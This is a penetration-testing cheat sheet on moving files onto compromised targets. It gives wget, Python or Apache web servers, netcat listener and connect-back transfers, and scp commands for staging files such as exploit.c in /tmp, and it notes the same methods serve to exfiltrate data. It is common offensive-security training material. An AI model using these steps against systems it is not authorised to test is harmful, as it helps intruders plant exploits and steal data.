Getting Files Onto Targets

Often you may want to put a file onto a target, this can be useful to move exploits onto the target amongst other things. Most of these techniques can be used in reverse to exfiltrate data as well

Using wget

A common method uses wget to pull the files from a web server

wget [URL] -O [Save Location]

Params

[URL]: The URL of the file to download, could also be an IP address
[Save Location]: Where to save the file, if only a directory is provided, the filename is taken from the url

Examples

wget http://192.164.56.101/file.txt -O /tmp
wget http://target-domain.com/123.c -O /tmp/exploit.c

Servers Expose Files

When you want to expose a file from your machine to wget you may want to enable a HTTP server on your machine to expose the files

Apache Server

Kali comes with an apache2 server pre-installed, it can be activated using the following command

apache2ctl start

then files within /var/www/html can be accessed on port 80 of your IP address

Python HTTP Server

Python can also provide a http server

python -m SimpleHTTPServer [Port]

This will expose the directory the command is run within and any sub directories as a web server

Params

[Port]: The port to expose the server on

Examples

python -m SimpleHTTPServer 8080
python -m SimpleHTTPServer 1234

Using Netcat

An alternative option is to use netcat to transfer the file as raw data

Reverse Connection

This uses a similar principle to a reverse shell, firstly you run open a listener on your machine, feeding in the file you wish to transfer, then on the target you connect back to the listener, sending the output to a file

Setting The Listener

nc -nvlp [Port] < [File]

Params

[Port]: The port to listen for a connection on
[File]: The file to send to the target

Examples

nc -nvlp 4444 < exploit.c

Triggering The Transfer

nc [IP] [Port] > [File]

Params

[IP]: The IP address which has a listener set
[Port]: The port the listener is looking at
[File]: The file to save

Examples

nc 192.168.56.101 4444 > boost.c

Using SCP

If you have ssh credentials for the target, and an open ssh port you can use scp to transfer files

Using Username:Password Combo

When using this command you will prompted for the accounts password

scp -P [Port] [File] [Username]@[IP]:[Save Location]

Params

[Port] (Optional): Part of the -P option, specifying the ssh port, can be left out if on default port
[File]: The file to transfer to the target
[Username]: The ssh username to login with
[IP]: The IP address of the target
[Save Location]: Where to save the file, if only a directory is provided then it uses the name from your local machine

Examples

scp -P 8888 exploit.c [email protected]:/tmp
scp exploit.c [email protected]:/tmp/outfile.c

Using SSH Key

scp -P [Port] -i [Key] [File] [Username]@[IP]:[Save Location]

Params

[Port] (Optional): Part of the -P option, specifying the ssh port, can be left out if on default port
[Key]: File containing SSH key used to authenticate as user
[File]: The file to transfer to the target
[Username]: The ssh username to login with
[IP]: The IP address of the target
[Save Location]: Where to save the file, if only a directory is provided then it uses the name from your local machine

Examples

scp -P 8888 -i ./key.txt exploit.c [email protected]:/tmp
scp exploit.c -i ./key.txt [email protected]:/tmp/outfile.c